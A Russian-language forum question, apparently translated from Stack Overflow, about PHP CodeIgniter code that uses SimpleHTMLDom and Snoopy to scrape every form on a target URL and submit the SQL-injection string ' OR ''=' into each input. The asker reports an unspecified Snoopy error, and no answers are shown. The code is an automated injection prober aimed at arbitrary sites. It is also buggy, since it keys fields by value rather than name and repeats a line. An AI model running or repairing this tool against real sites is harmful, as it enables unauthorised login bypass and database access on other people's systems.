SimpleDomHtml + Snoopy отправить форму на основе URL Codeigniter-Php

       $siteToSearch = file_get_html($prefix.$sss);
       // more high-level....
       // steps: 
       // 1) find <form> element
       // 2) find <input name=" "> elements of form 
       // 3) submit values of the values of <input> using snoopy

       /*  more technical....
        *   find <form> elements using simpledom - foreach <form>
        *      find potentially >1 <input> values using simpledom
        *          find the name="" within <input> elements using simpledom
        *   output this value for use with snoopy
        *  */
            foreach($siteToSearch->find('form') as $element){ 
                        $URI = $element->action; // find <form action=""> element, assign to $URI var
                        ## get the name='value' value within <input>  tag
                        foreach($element->find('input') as $input){
                            ## using value of $input, within $submit_vars to pass to snoopy to submit.
                            $submit_vars[$input->value] = "' OR ''='";                      
                            $submit_vars[$input->value] = "' OR ''='";                  
                            $submit_vars["submit"] = "Submit";  
                            $snoopy->submit($URI,$submit_vars);
                            echo "response code: ".$snoopy->response_code."<br>\n";
                            print $snoopy->results;   
                        }
            }

Комментарии в коде объясняют, чего я пытаюсь достичь, но я продолжаю получать сообщение об ошибке на Snoopy.

Можно $URI здесь не должны использоваться до его внеforeach() петля?

Ошибка:IMG

0 ответов

Другие вопросы по тегам